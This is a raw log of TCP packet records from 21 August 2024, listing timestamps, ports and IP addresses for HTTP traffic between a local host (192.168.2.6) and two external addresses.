Aug 21, 2024 08:32:15.084976912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084983110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.084989071 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085011959 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085017920 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085022926 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.085036039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085043907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085045099 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.085093975 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.085093975 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.085306883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085313082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085330009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085335970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085349083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085354090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085359097 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085365057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085370064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085381985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085387945 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085387945 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.085387945 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.085387945 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.085398912 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085433006 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.085450888 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.085609913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085674047 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.085714102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085721016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085731983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085737944 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085743904 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085757017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085762024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.085766077 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.085783958 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.085799932 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.086203098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086209059 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086214066 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086219072 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086232901 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086239100 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086244106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086252928 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086252928 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.086271048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086276054 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.086277008 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086276054 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.086286068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086292982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086297989 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086302042 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.086303949 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086309910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086317062 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086322069 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086328030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086333036 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086338997 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.086344957 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.086344957 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.086369038 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.087143898 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087150097 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087162971 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087168932 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087181091 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087192059 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087198019 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.087198973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087207079 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087213993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087219954 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087227106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087232113 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087243080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087248087 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.087249041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087248087 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.087263107 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087270021 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087275982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087281942 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.087299109 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.087299109 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.087322950 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.087323904 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091139078 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091144085 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091155052 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091197968 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091212034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091217995 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091228962 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091247082 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091253042 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091258049 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091259003 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091275930 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091298103 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091329098 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091361046 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091368914 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091382027 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091387987 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091399908 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091404915 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091413975 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091444969 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091479063 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091536045 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091569901 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091578007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091583014 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091588020 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091593981 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091624975 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091646910 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091654062 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091660976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091705084 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091711998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091711044 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091753006 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091757059 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091763973 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091775894 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091813087 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091856003 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091861963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091869116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091872931 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.091907024 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091936111 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.091994047 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092000961 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092011929 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092019081 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092051983 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092065096 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092072964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092072964 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092114925 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092116117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092125893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092179060 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092217922 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092225075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092236996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092242002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092247963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092273951 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092298985 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092467070 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092473030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092493057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092499018 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092504978 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092510939 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092515945 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092521906 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092545986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092550993 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092724085 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092730045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092741013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092746973 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092752934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092782021 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092784882 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092792034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092797995 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092803001 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092816114 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092822075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092823029 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092823029 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092834949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092843056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092843056 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092856884 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092861891 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092863083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092875957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092880964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092888117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092889071 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092899084 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092906952 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092915058 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092915058 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092919111 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.092943907 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.092967033 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.093118906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093183041 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.093204975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093210936 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093254089 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.093308926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093322039 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093329906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093342066 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093355894 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.093384981 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.093444109 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093450069 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093461037 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093466997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093472004 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093477964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093483925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093489885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.093497992 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.093530893 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.093530893 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.093565941 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.094096899 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094111919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094116926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094146967 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.094188929 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.094208002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094213963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094225883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094230890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094259024 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.094290972 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.094311953 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094317913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094322920 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094335079 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094352961 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.094384909 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.094397068 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094403982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094420910 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094449997 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.094481945 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.094517946 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094525099 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094536066 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094542027 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094553947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094574928 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.094598055 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.094599962 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094611883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.094659090 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.094963074 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.095011950 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.095017910 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.095062017 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.095073938 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.095088005 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.095094919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.095101118 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.095125914 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.095175982 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.145993948 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146002054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146013975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146059036 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.146100044 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146106958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146111965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146117926 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146150112 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.146174908 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.146219015 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146311998 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.146312952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146320105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146342039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146347046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146353006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146358967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146361113 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.146368980 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146384001 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.146401882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146408081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146408081 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.146414042 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146420002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146450043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.146470070 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.146545887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146553040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146558046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146570921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146603107 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.146620035 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.146693945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146699905 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146711111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146717072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146734953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146744967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146750927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146755934 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146759987 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.146804094 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.146946907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146955013 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146965981 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146972895 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146979094 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.146985054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147001982 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.147043943 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.147049904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147133112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147139072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147150040 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147155046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147161007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147182941 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.147196054 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.147274017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147280931 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147291899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147298098 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147319078 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.147397041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147403002 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147408009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.147413015 CEST	80	49722	162.241.203.25	192.168.2.6
